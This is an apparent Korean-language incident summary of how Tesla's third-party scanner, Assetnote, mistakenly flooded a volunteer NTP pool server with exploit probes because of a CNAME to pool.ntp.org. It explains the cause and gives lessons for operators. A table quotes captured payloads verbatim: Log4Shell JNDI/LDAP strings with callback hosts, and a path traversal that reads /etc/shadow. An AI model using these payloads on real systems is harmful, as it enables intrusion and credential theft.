Tesla의 Assetnote 스캐너가 자원봉사 NTP 서버를 실수로 표적 삼음

TL;DR

Tesla의 제3자 취약점 스캐너(Assetnote)가 자원봉사 NTP 풀 서버(pool-ntp.tesla.com)를 Tesla 소유 호스트로 잘못 식별하고, Log4Shell, SSRF, 일반 웹 앱 프로브를 포함한 수천 건의 자동화된 익스플로잇 시도를 해당 서버에 보내고 있습니다.

실제로 무슨 일이 있었나?

세 개의 AWS IP(54.165.75.96, 35.168.63.24, 52.44.200.251)가 NTP 풀 인스턴스(67.215.249.229)도 실행하는 개인 서버에 HTTP 요청 홍수를 발생시켰습니다.

요청에는 pool-ntp.tesla.com으로 설정된 Host 또는 Referer 헤더가 포함되어 있었습니다.
User-Agent 문자열은 Assetnote/1.0.0 (ExposureScan)으로, 이 트래픽이 Assetnote의 지속적 노출 스캐닝 플랫폼(현재 Searchlight Cyber로 마케팅됨)에서 발생했음을 나타냅니다.
페이로드에는 JNDI 스타일 Log4Shell 벡터, SSRF 템플릿, 경로 탐색 시도, WordPress 프로브, 각종 웹 셸 업로드 시도가 포함되었습니다.
2026년 8월 21일 이후 50,000건 이상의 요청이 기록되었으며, 이틀 동안 약 8,000건이 발생했습니다.

서버는 비표준 HTTP 299 상태와 상황을 설명하는 일반 텍스트 공지로 응답했지만, 스캐닝 활동은 지속되었습니다.

스캔이 이 서버를 표적으로 삼은 이유는?

잘못 해석된 CNAME 체인

Tesla의 DNS 항목 – pool-ntp.tesla.com은 pool.ntp.org를 가리키는 CNAME입니다.
NTP 풀 동작 – pool.ntp.org는 전 세계 모든 자원봉사 NTP 서버(OP의 머신 포함)로 해석되는 라운드로빈 DNS 서비스입니다.
Assetnote의 자산 검색 – Assetnote는 tesla.com 아래의 모든 호스트 이름을 열거하고, 이를 해석한 후 모든 결과 IP를 활성 스캐닝 범위로 취급하는 것으로 보입니다.
결과 – 스캐너는 OP의 IP를 대상 목록에 추가하고 Tesla 소유 자산인 것처럼 프로빙하기 시작했습니다.

"귀사의 자산 검색이 pool-ntp.tesla.com이 해석할 수 있는 모든 IP를 활성 스캐닝 범위로 의도치 않게 포함하는 것으로 보입니다." – Robin(작성자가 Tesla에 보낸 이메일)

프로브 트래픽의 기술적 세부 사항

기능	예시	목적
Log4Shell / Text4Shell	`GET /?a=%3Cscript src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>`	`*.assetnote-callback.com`으로의 콜백을 통해 취약한 Log4j/JNDI 파서 탐지
SSRF 탐지	`GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}`	대상이 `pool-ntp.tesla.com` 아래의 호스트 이름을 해석하도록 강제하고 콜백 도메인을 통해 보고
경로 탐색	`GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow`	디렉터리 탐색 페이로드를 통해 `/etc/shadow` 읽기 시도
ASP.NET 트릭	`GET / (S(x))/b/(S(x))in/System.Web.Mvc.dll` with `Host: login.solarcity.com`	ASP.NET 라우팅 문제 프로브, `/bin/`에 도달할 가능성
무작위 제3자 호스트 이름	쿼리 문자열에 포함된 `servicemcdonalds.com`, `saferas.com`, `disneyfineart.com`	스캐너가 관련 없는 여러 호스트 이름을 포함한 대규모 템플릿 라이브러리를 재사용함을 보여줌
내부 네트워크 프로브	`Referer: http://192.168.178.222/...`	스캐너가 RFC 1918 주소에도 도달을 시도함을 보여주며, 일반적인 "도달 가능한 모든 포트 스캔" 루틴의 일부일 가능성

스캐너는 또한 비HTTP 포트(SSH, Postfix, Dovecot)로 HTTP 트래픽을 보내 전면 포트 스위핑 방식을 나타냈습니다.

피해 서버에 미치는 영향

성공적인 침해 없음 – 모든 시도가 거부되었고 서버의 서비스는 그대로 유지되었습니다.
로그 볼륨 – 50,000건 이상의 요청으로 대역폭과 로그 처리용 CPU 사이클을 소비했습니다.
운영상 소음 – OP는 로그를 검토하는 사람에게 문제를 보이게 하기 위해 사용자 지정 299 응답과 경고 페이지를 추가해야 했습니다.
잠재적 부수 피해 – 스캐너가 동일한 호스트의 취약한 서비스(예: 오래된 WordPress 설치)를 공격했다면 실제 침해로 이어질 수 있었습니다.

커뮤니티 반응 및 더 넓은 맥락

다른 NTP 풀 운영자도 유사한 트래픽을 봄 – Matt Nordhoff라는 운영자가 자신의 풀 서버에서 동일한 세 AWS IP로부터 비슷한 요청 수를 보고했습니다.
버그 바운티 관점 – 버그 바운티 연구원의 댓글에 따르면 *.tesla.com이 Bugcrowd에 범위 내로 등록되어 있어 자동화된 에이전트가 해당 도메인 아래의 모든 해석된 IP를 프로빙할 것이라고 합니다.
벤더 영역 권장 – 여러 댓글 작성자는 NTP 풀의 벤더 지침에 따라 벤더가 공용 풀로 CNAME을 사용하는 대신 전용 DNS 영역(예: ntp.tesla.com)을 사용해야 한다고 지적합니다.
법적 및 해결 제안 – 일부는 Assetnote에 직접 연락하거나, AWS에 신고하거나, Tesla의 취약점 신고 주소로 불만을 제기할 것을 제안합니다. 다른 이들은 이 트래픽이 인터넷 노출 서비스의 "새로운 표준"일 뿐이라고 주장합니다.

자원봉사 서비스 운영자를 위한 교훈

브랜드 소유 하위 도메인에 공용 풀로의 CNAME 사용을 피하십시오 – 제3자 자산 인벤토리에 우발적으로 포함되지 않도록 전용 벤더 영역을 사용하십시오.
예상치 못한 Host/Referer 값을 모니터링하십시오 – 스캐너는 대상 호스트 이름을 포함한 템플릿을 재사용하는 경우가 많으며, 비정상적인 값은 잘못된 귀속을 나타낼 수 있습니다.
속도 제한 및 사용자 지정 상태 코드 구현 – OP의 299 응답은 합법적인 클라이언트를 깨지 않고 의심스러운 트래픽을 표시하는 영리한 방법입니다.
스캐닝 벤더와 연락 채널 유지 – Assetnote(Searchlight Cyber)는 일반적으로 오탐 신고에 반응하며, 로그 발췌문이 포함된 간결한 이메일이 화이트리스트를 유발할 수 있습니다.
최후의 수단으로 IP 수준 차단 고려 – 세 AWS IP를 차단하면 소음이 멈추지만 다른 고객의 합법적인 스캔도 차단할 수 있습니다.

Tesla(및 Assetnote)는 무엇을 해야 하나?

DNS 구성 수정 – pool.ntp.org로의 CNAME을 Tesla가 제어하는 전용 NTP 엔드포인트로 교체하거나 하위 도메인을 완전히 제거하십시오.
자산 검색 로직 수정 – 공용 풀로 해석되는 호스트 이름이 명시적으로 승인되지 않는 한 클라이언트의 범위 내 자산 목록에서 제외되도록 하십시오.
해결 채널 제공 – OP의 신고를 인정하고, 스캐닝 정책을 업데이트하며, NTP 풀 커뮤니티에 간략한 성명을 게시하십시오.
다른 하위 도메인 감사 – Tesla 소유의 다른 이름이 유사한 부수 스캐닝을 유발할 수 있는 공유 인프라를 우발적으로 가리키지 않는지 확인하십시오.

결론

Tesla의 제3자 스캐너가 자원봉사 NTP 풀 서버를 Tesla 자산으로 잘못 취급하여 관련 없는 취미 운영자의 인프라에 수천 건의 자동화된 익스플로잇 시도를 초래했습니다. 이 사건은 기업 하위 도메인에 공용 CNAME을 사용하는 위험을 강조하며, 자동화된 취약점 노출 플랫폼에서 신중한 자산 범위 정의의 필요성을 강조합니다.